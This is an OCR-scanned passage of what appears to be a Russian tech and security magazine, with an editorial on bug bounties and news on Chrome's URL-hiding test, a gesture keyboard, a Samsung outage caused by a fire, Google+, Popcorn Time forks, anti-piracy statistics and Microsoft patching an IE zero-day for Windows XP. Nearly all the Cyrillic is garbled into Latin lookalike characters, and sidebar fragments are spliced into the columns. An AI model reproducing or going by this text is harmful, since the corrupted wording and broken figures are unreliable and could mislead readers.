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M3ynaeM HOBoe noKO/ieHne 
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Mo6l4/lbHblM 6aHKMHr 

YcTOflT /in nonynnpHbie 
npn/ioxeHMfl nepeA MITM? 



SmartOS 

KaK Solaris o6pe.na HOByio 
>KM3Hb b Mupe highload 



H0BA£30J10TA£ 
J1MX0PAAKA 

Ko^MsecTBO nporpaMM B03Harpa>KAeHmi 3a 6arn ceroAHfl yxe npodo 3aui- 
Ka/iMBaeT. Ctommoctb OAHoro 6ara nacTO AOCTuraeT otmotkm b HecKO/ibKO Ae- 
chtkob Tbic^H AO/i/iapoB — Microsoft b KOHme npowjioro roAa Bbirmarmia cto 
TbicfiH 3a OLun6Ky, o6HapyxeHHyio b tgctobom Bepci/in Windows 8.1. Ho Aaxe 
«CKpoMHbie» HarpaAbi b cto AO/i/iapoB npeACTaBjiaiOT ueHHOCTb — BeAb nona- 
AaHMe b TaK Ha3biBaeMbiM 3a/i cnaBbi KpynHoro BeHAopa 6yAer otjimhho cmo- 
TpeTbca b tbogm pe3K)Me m Heruioxo npoKanaeT tbokd KapMy. 

EcTecTBeHHO, y MHorux ropsrr masa ot t3kmx nepcneicn/iB. Ho, KaK nn- 
ca/i JleLua Cmhu,ob b oahom M3 cbomx ko/iohok, He ctomt BnaAaTb b KpafiHO- 



ctm m oxuflaTb, 4to /liooafl 3aflBKa oyAeT HeivieAJieHHO npuHfua. Hanpniviep, 
KaK cnejxyei H3 HeAaBHero OTneTa Facebook, b 2013 toay MCcneAOBaTe/iM 
npe3eHTOBa/in coi4na/ibHOM cgtm nyTb MeHbine 15 TbicaH penopTOB. J"li/iiub 687 

H3 HMX 6blJlM npM3HaHbl npGACTaBHTe/ISMM n/10LU,aAKM, a CTaTyC KpMTMHeCKMX 

6bm npucBoeH jiHWb 6% noATBepxAeHHbix ya3BMMOCTePi. TaK hto peaKu,na 
b ctm/ig «jiyHLU6 6bi a npoAa/i 6ary Ha nepHOM pbiHKe» — HGAOCTOMHa HacTOfl- 
Lu,ero A>KeAaa :). Bce-TaKM b nepByfo onepeAb nporpaMMbi bug bounty — sto 
OT/iMHHafi B03MO>KHOCTb a6co/iK)THO jiera/ibHO npoBepnTb M npOAGMOHCTpi/1- 
pOBaTb CBoe MacTepCTBO b pea/ibHbix ycnoBi/mx, nonrpaBiuncb npn stom c ca- 
mhmh M3BecTHbiMn npoAyKTaMn B MMpe. 

Cjiobom, LuaHCOB He oneHb mhoi~o, ho sto He noBOA 3a6pocnTb nonbiTKM. 
MivieHHO noaTOMy Mbi m noAroTOBM/iM Rnn je6n pa36op caMbix TpyAHOAOKa3y- 
eMbix 6aroB M3 «HOBeMi±jefi» mctopmm. flepsaPi! 



M/ibn MjieM6nTOB, 

maBpeA X 
@ilembitov 
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riOHTM OflHOBpGMGHHO C TeCTO- 

bom c6opkom Chrome KOMnamia 
Facebook npeACTaBn/ia oneHb no- 
xoxyio TexHO/ioruK) nofl Ha3Bami- 
eM App Links, KOTOpaa no3BOJifleT 
BeS-npmioxemiflM HanpHMyio o6pa- 
LMaTbCfi APyr k APyry. Ue/ib, kohghho 
xe, cocpeAOToneHne KOHTema 
BOKpyno^bKO CBoew ruiaT(J)opMbi. 



KOMY BOOELUE 
HYXEH URL? 

Google nonbua/iacb y6pa~rb 1/13 aApecHOi/i cipom Chrome URL, 

0CT8BI/IB Ofll/IH JlMLUb flOMeH 

Pa3pa6oTHMKM 6pay3epoB onei-ib n\o6m npoBOAHTb pa3- 
Horo poAa 3KcnepnMeHTbi — npewviymecTBeHHO HaA 
nonb30BaTe/i5iMM. Pa3yMeeTCfl, ue/ib sthx onbiTOB Bcer- 
Aa 6jiaropOAHa: ynyHLUMTb 0yHKu,noHa/ibHOCTb, noBbi- 
CMTb yAo6cTBO, ycKOpMTb pa6oTy 6pay3epa v\ TaK A^-nee. 
Ha Ae/ie M3-3aTaKoro «y/iyHLuaM3HHra» M3 Opera, Hanpniviep, npona- 
jih 3aK/iaAKM. 1/1 CKa>Ky Te6e, HeB3npaa Ha Bee 3aBepeHna pa3pa6oT- 
hmkob, hto «TaK /iyHLUG»; 6pay3ep 6e3 3aicnaAOK — sto oneHb HeyAo6- 




ho n Booome nena^bHO. 

KoiviaHAa pa3pa6o~rKi/i Chrome Toxe He OTCTaeT ot Ko/i/ier 
no uexy. 30 anperm Bbiui/ia TecTOBaa c6opKa Google Chrome Canary, 
BOKpyr kotopom HeMefl/ieHHO o6pa30Bajiacb Barma HeraTMBa. Reno 
b tom, hto KOMaHAa Chrome npeAnpuH^/ia nonbmcy, no cy™, y6paTb 
aApecHyio CTpOKy M3 MHTepcJ)eMca 6pay3epa. BeAb Bee 3tm AJinHHbie 
m CTpaujHbie URL b aApecHOM CTpoKe TaK cmibHO nopTHT \03a6v\ruA- 

TH, KOHeHHO >Ke, Hy>KHO JlHKBHAHpOBaTb 3T0T y>KaC, OCTaBMTb TOJlbKO 

AOMeH, m 6yAeT Kpaci/iBO h HHCTeHbKO. Eme oahh apryMem 3a OTMe- 
Hy URL — 3to noBbiLueHMe 6e3onacHOCTM. roBopaT, CHM>KaeTCfl pmck 
c})MLLJMHra, to ecTb nepe3 noncKOBbifi caPiT no/ib30BaTenb He CMOxeT 
nonacTb Ha cfjeiiKOByio CTpaHnuy. CnpaBeA/iH booth paAn 3aMeny, 
hto yBMAeTb normyK) URL b TecTOBOM c6opKe Bce-TaKH 6bijio mox- 

HO — nO K/ll/lKy. TaKXe 6bl/ia B03MO>KHOCTb HaCTpOMKH OTo6paxeHi/ifl 

nepe3 nepeK/noHaTe/ib chrome://flags/#origin-chip-in-omnibox. Oa- 
HaKO BO^Hy HeroAOBaHM^ oto He ocTaHOBmio. 

Pa3pa6oTHMKM Chrome BOBce He nnoHepbi b stom HanMHaHMM. 
LUecTb neT Ha3aA Chrome h Firefox CAe/iann aApecHyK) CTpoKy eme 
h noncKOBOM. Eoni/i paHbLue, Ha6paB b aApecHOM CTpoKe «ruby», 
Tbi nonaAa/i Ha caMT ruby.com, to Tenepb nonaAeujb Ha ruby-lang. 
org co CTpaHnu,bi noncKa Google. 3aTeM 6pay3epbi CTa/ii/i CKpbiBaTb 
http:// b URL. Mobile Safari m iOS 7 nomni/i eme Aa/ibLue, BOo6u4e 06- 

pe3aB URL nOJlHOCTbK) H OCTaBHB TOJlbKO AOMeH. 

C OAHOM CTOpOHbl, BCe 3T0, B03MOXHO, AeMCTBMTe/lbHO XOpOLUO H ABJiqeTCfl eCTeCTBeH- 

hom 3B0^KDu,neM MHTepcj)eMCOB. C APyrofi — oneHb MHoro n\o{xev\ ch MTaeT, hto sto npOTH- 
BOpenuT caMoPi KOHu,enu,MM Be6a. MAea np^MoPi rune pec bi/iKi/i MexAy CTpaHnu,aMn m ^okmt 
b ocHOBe KOHu,enu,MM WWW, h 6/iaroAapfl URL n/inepTeKCT CTaHOBMTca «rnnep». A^e caMO 
cjiobo web HecnynaMHO, oho yi<a3biBaeT Ha OTKpbiTOCTb i/i nooneAOBaTe/ibHOCTb BceMupHOM 
nayTMHbi. Aa, bo3moxho, b 6yAyw,eM yHwonbHbiki aApec KaxAOM CTpaHnutbi AeMCTBMTe/ibHO 
6yAeT npupaBHMBaTbCfl k cny>Ke6HOM MHc^opMauMn, HeHyxHOM Ha SKpaHe. Oah3ko TaKoe 6y- 
Ayiuee noKa He HacTynmio: KOMaHAa Chrome yc/ibimana HeroAyiOLAnx, coo6iu,mia, hto sto 
6bm jiMLUb TecT, npn3Ha/ia, hto hach He npuoKwiacb, m BHeApHTb ee noKa He CTaHyT. 



Firefox TeMBpeMeHeM 
o6hobm^ca ao 29-m Bep- 

CMM. CaMbIM 33MeTHblM 

HOBOBBefleHneM cTa/i, ko- 

HGHHO, HOBbIM MHT6p(f)6ilC 

Australis, KOTopbiM caMM 

pa3pa60THMKM CMMTaiOT 

6o/ieecoBpeMeHHbiM, hm- 
CTbiM h yAo6HbiM. CURL 

M aflpGCHOM CTpOKOM 

3AecbBceBnopflAKe:). 




Ckopo Windows 
Phone moxho 6yAeT 
MHTerpnpoBaTb c 

6opTOBblM KOMnbKD- 
TepOM aBT0M06n/lfl. 

Microsoft o4)mu,m- 
a/ibHO npeACTaBmia 
CMCTeMy Windows in 
the Car, KOHKypeHTa 

PorDI'i\/ r\-r Ar\nlo 



Trojan-SMS. 
AndroidOS. 
Stealer. a B03rnaBmi 
cnncoK Mo6mibHbix 
yrpo3 «Jla6opaTopnn 
KacnepCKoro». Tpo- 
HHeu. opueHTupoBaH 
Ha CTpaHbi 6biBiue- 
ro CCCP m EBpony, 

d nnr\DAK« i/ d o r\Tn n 



Ha eBay 3apa6o- 

Ta/l TeMaTMHeCKMM 

pa3Ae/i «BupTya/ib- 
Hasi Ba/iiOTa», rAe 

moxho npoAaBaTb 
caMy Ba^KDTy, 060- 
pyAOBaHwe An« Maw- 

HUHTa M KOHTpaKTbl 

Ha apeHAy o6opyAo- 



3D-npnHTep The 
Micro ycTaHOBM/i 
Ha Kickstarter pe- 
kopa — co6pa^ 
3 401 361 AO/i/iap 

npOTMB MCXOAHblX 
50 TblCHH. npMH- 
Tep AeMCTBHTe/lbHO 
OMeHb KOMnaKTHblM, 



CwcTeMa yxe TecTn- 
pyeTCfl b aBTOMO- 
6mmx b pea/ibHbix 

yC^OBMflX. 



2014 roAa Ha Hero 
npHLU/iacb neTBepTb 
Bcex aTaK. 



Tpax m Ha 0epMax. 
CaM eBay Gutkomhu 



Ha AOMaLUHMX KD3e- 

pOB u AeiueBbiui — 
Bcero 299 AO/uiapoB. 



XECTbl HAfl 
KJ1AB MATY POM 

riepcnGKTi/iBHbii/i, ho noKa HGKOMMepHGCKMi/i npoeKT 

Ka K CAe/iaTb K/iaBwaTypy yAo6Hee v\ eu^e cJ)yHKij,MOHa^bHee? Ha nepBbiPi 
B3r71HA — HHK3K, «He MMHM TO, HTO He C/10MaHO». HO HCCJieAOBaTe/lflM 1/13 LUBeM- 
uapcKOM BbiciueM TexHunecKOM niKO/ibi, KaxeTca, yAa-nocb npMAyMaTb hto-to 
HOBoe — KnaBnaTypy, cnoco6HyK) pacno3HaBa~rb xecTbi. npoeKT 6bin npocJ)MHaH- 
cnpoBaH Microsoft, m, noxoxe, He 3pa. 

MAea npocTa, KaK h Bee reHwa/ibHoe. 06biHHyfo MexaHMnecKyio K/iaBwaTypy ocHacTmiw 
MaTpnuew CKpbiTbix abthmkob npwGjinxeHMfl, aKKypaTHO pa3MecTMB mx npaMO MexAy K/iaBM- 
ujaMM. TaKi/ie xe ceHCopbi ncnanb3yK)TCfl b CMapTcfjOHax txnn 6jiokhpobkm 3KpaHa, KorAa ne- 
jiOBeK roBopwT no TejiecJ)OHy. 3Aecb ceHcopbi co3AaK)T AHHaMnnecKyio KapTMHy nepeMeme- 
h\a9\ na/ibueB no.nb30BaTe.nfl HaA noBepxHOCTbK) K/iaBHiu, hto no3BormeT noKa3biBaTb n\o6b\e 
xecTbi np^MO b B03Ayxe HaA KJiaBwaTypoM, HMKyAa He nepeMeunaa pyK, i/i TaKMM o6pa30M 
OTAaBaTb KOMnbfOTepy KOMaHAbi. 

3aneM sto MOxeT 6biTb HyxHO? Bo3bMn xoth 6bi rmaHLueTbi, KOTopbie Ta xe Microsoft 
TaK jikd6ht CHa6xaTb npncie>KHbiMn K/iaBwaTypaMH. Rnn Toro HTo6bi nepeK/iiOHi/iTbCfl mok- 
Ay npmioxeHMjiMM, M3MeHMTb MacLUTa6 M3o6paxeHna hjih coBepniMTb nio6oe Apyroe f\ev\- 
CTBue, Heo6xoAHMO CHHTb pyKM c K/iaBnaTypbi v\ CAcnaTb xecT Ha ceHCopHOM SKpaHe. B cny- 
sae c HOBbiM KOHuenTOM no.nb30BaTe.nb MoxeT He OTpbiBaTb pyK ot loiaBnaiypbi m pa6oTaTb 
HaMHoro 6bicTpee. 




B KjiaBnaiypy noMecTn/iocb 64 
ceHcopa, to ecTb pa3peweHwe 
MaTpnubi cocTaBM/io Bcero 64 
niiKcejifl, ho 3Toro Bno/iHe xBaiaeT. 

TOMHOCTb paCn03HaBaHMJ1 CTaTMH- 

Hbix xecTOB yxe 6o/iee 75%. OaK- 

TMHeCKM nO^yHMJlCfl «B03flyiUHblM» 

TancKpiiH, noHMMaioiMUMTaKMe 
daHAapTHbie xecTbi, KaK 3yM ABy- 
ivm na/ibuaMn 




« Mare Ma™ km Bcero Mi/ipa 

AOJIXHbl peLUMTb — COTpyflH l/l H 8Tb 

co cneu,cnyx6aMM i/mi/i HeT? Hania 
CMTyauj/ifl nofloSHa cmyaujHH 
0M3MKOB-qflepiu,MKOB b 40-e roAbi, 

HO Te XOT£ 6bl 3HaJlM, HTO CTpOflT 

aTOMHyio 6oM6y MaTGMan/iKi/i nacTO 
He noHi/iMaiOT, KaKMM o6pa30M \ax 
HapaSoTKM Mcno/ib3yKDTC?] AH5 
1/1 6pi/iTaHCKOi/i GCHQ». 

Tom JleMHCTep, 

npoOECCOP SAMHByprcKoro yhmbepcmteta 



SAMSUNG.COM 



yweji b oojiamh, 

MHTEPHETA BOJlbWE HET 

dpaHHa^ pGBKu,i/iFi raAxeTOB v\ npn/ioxeHMi/i Ha noxap b UOfl 

CaPiTbi naAafOT, TaKoe anynaeTCfl KaxAbifi AeHb. IIpmhmh MOxeT 6biTb MHOxecTBo: 
HanpuMep, samsung.com HeflaBHO 6bm HeAOCTyneH b TeneHne HecKonbKMx na- 
cob M3-3a noxapa b 3AaHMM Samsung SDS, hto b loxHOKOpefiCKOM ropOAO KBan- 
xoh. noxap, k cnacTbK), /lMKBHA^poBa/in AOBO^bHO onepaTMBHO, nocTpaAaBLunx He 6bi.no, 
mnbKO bot B^aAe/ibu,bi raAxeroB Samsung 3a sti/i nacbi nepexmiw Heivia/ioe yAHBJieHHe. 

Bo Bpetvia noxapa n eme HecKonbKO nacoB nocne Hero Ha CMapTcf)OHax, n/iaHweTax 
m Aaxe Ha yMHbix Te/ieBM3opax KopePicKoii KOMnaHHn no BceMy Mi/ipy moxho 6bi/io Ha6/iio- 
AaTb caMbie npi/inyA/iuBbie olum6km. Pa3/iMHHbie npi/i/ioxeHMfl ot Samsung Toxe Morni/i He ot- 
KpbiBaTbca M/in CTpaHHbiM o6pa30M c6onTb. KopeficKafl KOMnaHna, pa3yMeeTca, npi/iHecna 
MSBMHeHMFi cbomm nonb30BaTermM, ho Bonpoc «rioHeMy?!» noBi/ic b B03Ayxe. JlK)603HaTe/lb- 
Hbie xaKepbi AOKJiaAbiBaKrr: b nacTHOCTn, TeneBM3opbi Samsung peniMJiM, hto pa3 o(t)i/iu,kiajib- 
HbiM caMT He OTBenaeT, MHTepHeTa 6onbiue HeT BOo6ume. OKa3anocb, hto 3anpocbi DNS nAyT 
MMeHHO k cepBepy samsung.com (192.168.1.252.53). Moxho npeAnonoxi/iTb, hto Apyrwe 
ycTpoMCTBa m npunoxeHi/ifl wcnbiTbiBa/iM noxoxne (BecbMa mynbie) TpyAHOCTi/i. OcraeTCfl 



HafleflTbCH, hto Samsung BbiHeceT ypOK n3 AaHHOM cuTyauMM. 





Ocjwuiia/ibHO Google 
noKaonpoBepraeTTOT 
4)aKT, hto nepecTaHOBKM b 
KOMaHfle noBJinfliOT Ha 6y- 
Aymee Google+. Ybw, Bee 
aBTopnTeTHbie IT-CMM He 
cor/iacHbi c stum. B KaKOM 
oione Tenepb6yAeT 
pa3BMBaTbcyi couna^bHafl 
ceTb, HenoHATHO. 



GOOGLE+ 
nOLUJlAKO^HY? 

flOXOXe, C3M0M MGDTBOl/1 \A3 BCeX 



couna/ibHbix ceTei/i bcg-tski/i npuxoAUT kohgu, 

c caMoro Hana/ia Bbi3biBa/ia Kyny BonpocoB. C oahom CTopoHbi, Google yAa- 
/iocb npeA-noxMTb MHoro MHTepecHbix m Heo6bHHbix peweHnPi BpoAe cmctg- 
Mbi BMAOOKOH(J)epeHLi I MM Hangouts win molahom cucTeMbi ynpaB/ieHWA ao- 
CTynoM («Kpyrn»). C Apyrofi CTOpOHbi — Google+ TaK v\ He yAa/iocb Ha6paTb KpwTMHecKyK) 
Maccy no/ib30BaTejieM — a 3HaHwr, y nonb30BaTe.nefi HeT Heo6xoAHMOCTn 3axoAHTb TyAa 
KaxAbiM AeHb h npoBepaTb, HeM xe xi/iByT i/ix Bi/ipTya/ibHbie Apy3bfl. 

He caMbie xopomne BpeMeHa Ana «HecocTOflBLuerocfl y6nMi4bi Facebook» HacTynmii/i 
AaBHO, ho Tenepb CTano n3BecTHO, hto KOMnaHMio noKHAaeT Bhk TyHAOTpa — co3AaTe/ib G+. 
TyHAOTpa Hi/iKaK He npoKOMMeHTMpoBa/i cbom yxoA, OTAe/iaBLUMCb o6lahmm 0pa3aMM, MOJ1, 
«3axoTe/iocb nonpo6oBaTb HTO-Hn6yAb HOBoe». Wall Street Journal yTBepxAaeT, hto npMHM- 
hom ero yxoAa Momo nocny>KMTbyBo.nbHeHne HecKO/ibKMx MeHeA>KepoB 1/13 KOMaHAbi Google+. 
l/l KOHenHO xe, CMM 3axnecTHyna BonHa cnyxoB o tom, hto Google co6npaeTca ype3aTb 0n- 
HaHcnpoBaHne npoeKTa, coKpaTMTb KOMaHAy, a to m BOBce no-™xoiviy «ycbinnTb» G+. Mctoh- 
hmkm TechCrunch Boo6iAe yBepeHbi, hto G+ MOxeT CTaTb /iniub n/iaTcjDopMofi, npeKpaTUB cy- 
LAecTBOBaHne KaK caMOCTO^Te/ibHbiM npoAyKT. 

no <t>aKTy, T3K0M K)3KeMC a^ cou.ce™ nacTO 03ByHMBana h caivia Google: G+, bo3mo>kho, 
He/ib3a Ha3BaTbnonyri5ipHOM njioiuaAKOM «Ana Bcex», HOOHano3BonfleTAo6aB.nflTb couna^b- 
HbiM qbyHKunoHa^ TaM, rAe sto HyxHO. Hanpwviep, pa3pa6oTHMKM npmioxeHMM ajih Android 
MoryT ycTpaMBaTb 3aKpbiToe 6eTa-TecTnpoBaHue np^MO bG+h aBTOMaTi/inecKi/i BbiAaBaTb 
AOCTyn k HOBbiM c6opKaM Ha ocHOBe nneHCTBa b rpynne. XypHa/iwcTbi v\ 6/iorepbi Moryr npw- 

Bfl3blBaTb K CBOeMy npOC})M^K) BeCb C03AaHHbM KOHTeHT, 1/1 3T0 6yAeT OTo6paxaTbca npflMO 

b noMCKOBOM BbiAane. 




BMflE0MrPC03AAJ10 

hejiobehectbo 

— * 3HTy3MaCT, H3BeCTHblM TO/lbKO nOfl HHKOM 

Data_Baser, b3hji Ha ce6n TUTaHnnecKHM Tpyfl - 
pewmi noflCHMTaTb, CKOJibKO Bcero BMAeonrp co- 
3Aann n\opy\ 3a bcio hctophio mx cymecTBOBaHna 



I 



J1ETHA3AA 
COBEPLUMJII/l nEPBbll7l 

BI/1flE03B0H0K 

-> 20 anpe/ifl 1964 roAa, Ha BbiciaBKe World's 
Fair 6bi/i coBepiueH nepBuft b mctopmm ne/iOBe- 
necTBa bha603bohok. TexHOJionw npwHaAJiexa- 
Jia KOMnaHnn Bell Telephone, a npeACTaB/ieHHoe 
ycTpoMCTBO hocmjio hmh Mod I Picturephone. 



(wrp, He JiiOAeM). UHkiTaeTca Bee: nrpw pj]$ \ 
KOHCO/ieii n Mo6mibHbix ycTpoiiCTB. noKa 
hto cnwcoK HenojiOH (pastebin.com/EuxZMbWT), 
ho Data_Baser He co6i/ipaeTca ocTaHaBJiMBaTbca, 
a eMy c paAOCTbio noMoraeT aHOHwviyc c 4chan. 




BHAeOCBfl3b nOnblTa/lMCb BHeAPHTb Ha pblHOK 

(stum 3aHfl^acb AT&T), ho Tpn muhytw pa3roBO- 
pa ctohjih 16 AOfiJiapOB (npuMepHO 121 AOJinap 
ceroAHfl), hto 6bmo cjimujkom Aoporo, m TexHO- 
norw He npwxwiacb. 




KVflA 1/ICHE3AKDT 
OOPKM POPCORN TIME 

OopKM HaLuyMeBLuero Popcorn Time oa^h 3a APyn/fM saKpbiBaiOTCFi, 
a pa3pa6oTHMKM nponaAancT c paAapoB 

BnpouinoM Mec^ue npoeKT Popcorn Time HaAe/ian MHoro 
liiyMa. Euue 6bi — oneHb yAo6Hoe, npocToe h Kpocc-n/iaT- 
cj)opMGHHOG npn/ioxeHne p/\9\ npocMOTpa cf>mibMOB 
npn noMOLun TOppeHTOB. Aa>»<e co BCTpoeHHbiM KaTa/ioroM cj)mib- 
mob, AOCTynHbix Ha MnpoBbix TpeKepax. Pa6oTa.no Bee TaK: cnn- 
cok ToppeHTOB, no/ivHaeMbiPi nepe3 YTS API, 6a3a cv6tmtpob 
c OpenSubtitles v\ 6a3a The Movie DB c MeTaAaHHbiMM. Cjiobom, 
napa kjihkob Mbiuibio — m Tbi yxe CMOTpniub (J)i/i.nbM. KoHenHO, 
npmioxeHkie MOMeHTanbHO BCTa/io nonepeK rop/ia BcePi kmhohh- 
AycTpuM cpa3y. 

CnycTA Bcero HecKO/ibKO Anew nocne penw3a npwioxeHwe 
npwKa3a.no ao/ito xmb (hto, b o6uj,eM, HeyAHBHTe/ibHO). Ha caw- 

Te nOHBmiCfl A/IUHHblM TeKCT, B KOTOpOM pa3pa60THHKM 06"bflCHHJlH, 

hto npoM30Lu/io: «CeroAHfl Popcorn Time 6yo,eT OTK/iiOHeH. He n3-3a 
Toro, hto y Hac 3aK0HHwni/icb cm/in M/in C0KD3HMKM, mn He nepecMO- 

Tpe/1M CBOM n03MU,MM, M y HaC He CMeCTMJlCfl (f)OKyC. llpOCTO Mbl xo- 

tmm xMTb Aa/ibLue, CBoefi >KM3Hbio. B pe3y/ibTaTe 3Toro 3KcnepnivieH- 
Ta Mbi 0Ka3a/incb nepeA-nMuoM 6ecK0HeHHbix Ae6aT0B o nwpaTCTBe m aBTopcKOM npaBe. Mbi 
CTa/in MMLueHbK), HaM yrpoxa/iM cyaaMM, TeHeBbie CTpyKTypbi 3acTaBn/in Hac omyTMTb ce6a 

B OnaCHOCTM H HanaTb 60flTbCfl 3a CBOHX 6/1H3KMX. Mbl He XOTMM BBfl3blBaTbCfl B 3Ty BOMHy». 

Kto MMeHHO abbm/i Ha pa3pa6oTHMKOB m HeM mm yrpoxa/iw, Hen3BecTH0, noTOMy hto rpynna 
AeMCTBMTe/ibHO CBepHyna bcio AeflTe/ibHOCTb. Oah3ko mcxoahmkm npoeKTa 6bmn ony6.nnKO- 
BaHbi Ha GitHub, TaK hto MHnunaTUBy Mor noAXBaTHTb tiio6om xe/iaiOLiu/iM. 1/1 TaKwe Haw/wcb. 

AnbTepHaTMB cpa3y bo3hhkjio mhoxcctbo. nepBbiM cf)opK co3Aa/i nporpaMMMCT M3 YTS/ 
YIFY n KaKoe-TO BpeMH pa6oTa Ki/ine/ia, HaA stom BepcHePi Aaxe TpyAH-nca kto-to M3 mcxoa- 
hom KOMaHAbi Popcorn Time. Ho nocne onepeAHoro o6HOB/ieHi/ifl npmioxeHwe BApyr npona- 
jio M3 peno3HTopi/m, a KpaMHe o6iAHTejibHbie ao 3Toro pa3pa6oTHMKM 3aMonHajin BOo6uu,e. 

Q qtqii ofi^nniATun ti~\ nonno nriAMOAi i inn r- nnnoi/TAn m noonofiriTuijii/rn« Dnnrnrn .Timo 




CTaTMCTMKa TOBOpUT 

o Popcorn Timejiyniiie 
Bcero: 3a cyTKM noc/ie pe- 
Jin3a npn/io>KeHi/ie ycne/w 
nepeBecni Ha LuecTb 
pa3Hbix H3biK0B (a 3aieM 
m eiue Ha napy AecflTKOB). 
Ha GitHub 3a HecKO/ibKO 
AHew CBoero cymecTBO- 
BaHUfl npmioxeHMe Ha- 
6pa/io 6o^ee 4000 3Be3A 
n nopoAM/io noHTu 1500 

(j)0pK0B. 



vjuiuivi uvjuvjj i ivy i i iv iv xi\v_. vamvv i ijjvkijuujjiu v-/ i ifjuviMUivi ki (juo|JUVV i nni\uivi i ujjwnr v. 

tv. OopK ncne3 c GitHub, cam npeKpa~rmi pa6oTy, a pa3pa6oTHHK OTAe/ia/ica cyxww kommgh- 
Tapneivi: «fl 3aHHT flpyrnMM npoeicraMM, c popcorn-time 6onee He CBH3aH». noxoxaa ynacTb 
nocTuma em,e HecKO/ibKO npoeicroB: ropeBLune Bnepa 3HTy3i/ia3M0M /ikdam KaTeropMnecKn 
0TKa3biBaK)Tca hto-jii/i6o o6"bflCH«Tb. KoHeHHO, bo3moxho, 3to npocTO CKBepHoe CTeneHne 
o6cTOflTejibCTB, ho, BcnoMHHaa o6pam,eHne pa3pa6oTHW<OB opi/irwHa/ibHoii BepCMM h hx 
c/iOBa o CTpaxe 3a ce6fl n 6jim3kmx, b coBnafleHnq Bepwujb c TpyAOM. 




«Mbl CTAJ1H MI/IUJEHbK), 
HAM yrPOMlM 
CyflAMU, TEHEBblE 
CTPyKTYPbl 3ACTABI/1J1I/I 
HAC OlUVTHTb CEBJ1 
B OnACHOCTH M HAHATb 
EOHTbCfl 3A CBOUX 
B^H3KHX. Mbl HEXOTMM 
BBfl3blBATbCfl B 3TY 
B0MHY» 



BECTI/1 CTOPPEHT-OPOHTA 

— ^ PocKOMHaA3op pacci<a3aji o pe3yjibTaiax 
pa6oi"bi «aHTnnnpaTCKoro 3aK0Ha», fleMCTBy- 
tOLuero c 1 aBrycTa 2013 roAa. 



+40% +25% 

flocemaeMOCTb BbipyHKa ot peicnaMbi 




► 



caMTOB c ^era/ibHon 
b m Aeo n poAy Kune ft 



10 

TpeKepOB 



2 

OH/iaMH-KMHOTeaTpa 





rinpaTbi He CAa- 

lOTCfl H nOCTOHH- 
HO MeHfllOT IP 



118 

Goldenshara.com 



99 

Rutor.org 



MEGAN EWS 




WINDOWS XP:XI/l3Hb 
nOC/lECMEPTM 



Microsoft npeKpawia noAAepxKy XR 
ho npoAOJixaeT BbinycKaTb naTHi/i 

Kbk n3BecTHO, noAAepxKa Windows XP 6bma o4)Mu,na^bHO 
npeKpameHa b Hana/ie anpe/ia. OAnaKO He npowjio v\ Me- 
caua, KaK Microsoft OKa3a/iacb nepeA ah-hommom: a/ih IE 
6-11 noA Bee Bepci/ii/i Windows Hani/in Oday, AonycKaiOLAMM yAa- 
jieHHoe Hcno/mem/ie npon3BO/ibHoro koas b cncTeivie c npaBaivin 
TeKyLuero nonb30BaTe/ifl. CHana/ia b Ce™ o6Hapyxn^n SKcn/iOMT, 
Haue^eHHbiPi Ha IE 9-11 m pa6oTaK)iAHM npw Ha^MHMM MOAy-n^ 
Adobe Flash. HeMHoruM no3xe cneuMa/incTbi KOMnaHMn FireEye 
3aMeTMjin n nepBbie c/iynan aiaK, Haue/ieHHbix Ha KOMnbKrrepbi 
noA ynpaB/ieHweivi Windows XP c IE8. 

Hto Ae/iaTb? TbiKaTb no.nb30BaTe.nePi v\ K/ii/ieHTOB mopaom 
b CTpaHMHKy o AaBHO npoLueAwnx cpoKax OKOHHaHwq noAAepx- 
km? BbinycTMTb anAeMT m AncKpeAHTwpoBaTb bckd cbokd KaMna- 
hmk) no anrpeMAy? Microsoft nouina no BTopoiviy nym, neM He- 



B/iacTM Be/inKo6pn- 
T3HHH to>kg He ycne- 
nv\ MurpupoBaTb 
c XP m 3an/iaTM^n 9,1 
MM/l/lMOHa flo/uiapoB 
Microsoft, HTo6bi Te 
npoAO/i>KanM BbinycK 



iviajio Bcex yAMBM/ia. 

Ka3a/iocb 6bi, noAAepxKa OC npeKpam,eHa, 6ar CTpaweH 
m yxaceH — B/iacTM CLUA m Be/iMKo6pnTaHMM BOo6m,e He peKO- 
MGHAOBa/in jhoahm no/ib30BaTbca IE ao MOMeHTa BbixoAa 3an/iaT- 
km. Cjiobom, npeKpacHbiM noBOA A^ MHorux nojib30BaTenei/i 
CAO/iaTb anrpefiA n ymth c XP Ha 6anee coBpeivieHHyio cmctgmy. 
Microsoft ctohjio 6bi nopaAOBaTbca, hto hx KaivinaHi/iK) «yxoAH- 
Te c XP» T3K KCTaTM noAAep>Ka.nii xaKepbi. Ho Microsoft He CTana 

nOJlb30BaTbC« 3T0M B03MOXHOCTbKD, 3aflBMB, HTO Oday nOflBI/IJlCfl 

TaK CKopo noc/ie npeKpam,eHkm noAAepxKH, hto rpex 6bmo ero 

He nOCf)MKCl/ITb. 

TaKMM o6pa30M, Microsoft nocTyni/ma no coBecTM, ho co3Aa- 
na oneHb Henp^mTHbiw (A-n^ ce6a caMOM) npeu,eAeHT. Hto 3HannT 
«0day Haiu/iM BCKOpe nocne npeKpameHMfl noAAOp>KKM»? A ec/in 
eme oa^h noflBwrcfl nepe3 HeAenio win nepe3 napy MecaueB? 
Mx Toxe ncnpaB^T? Kohchho, MHoroHnc/ieHHbie nanb30BaTejin 
m KOMnaHMM, BepHbie «MepTBOM» OC, MoryT nopaAOBaTbca, Bbi- 
AOXHyTb h npoAO/ixnTb omymaTb ce6a b 6e3onacHOCTM. OAHaKO 
Tenepb ohm 6yAyT oxnAaTb, hto Microsoft npoAOJixi/iT b tom xe 
Ayxe — 6yAeT wcnpaBJiflTbyfl3Bi/iMOCTki ao Tex nop, noKa Windows 
XP ncno/ib3yeT TaKoe 60/ibiuoe KonnnecTBO nioAeM. JIioah *e, 
b cn/iy 3Toro, 6yAyT npoAO/ixaTb CMAeTb Ha «6e3onacHOM XP». 
B MTore 3aMKHyTbiM Kpyr. 



o6HOB^eHHM 6e30- 
nacHOCTM ao anpe/m 
201 5 rofla. Ha noxo- 
>KyK) «CAe/iKy» noLU/in 
m HwAep/iaHAbi, TO/ibKO 
ohm on/iaTn/iM cannopT 
AO flHBapa. B Kmae 
noAAep>KKy XP BOo6une 
nepeAa/in Ha ayicopc 
Lenovo m Tencent, 
HOTO>Ke npoAon>KM/iM. 






HHxeHepbi Google 
Haynn^n CMCTGMy 
Google Street View, 

KOTopaa HMTaeT ho- 
Mepa aomob m aApe- 
ca A^ifl Google Map, 
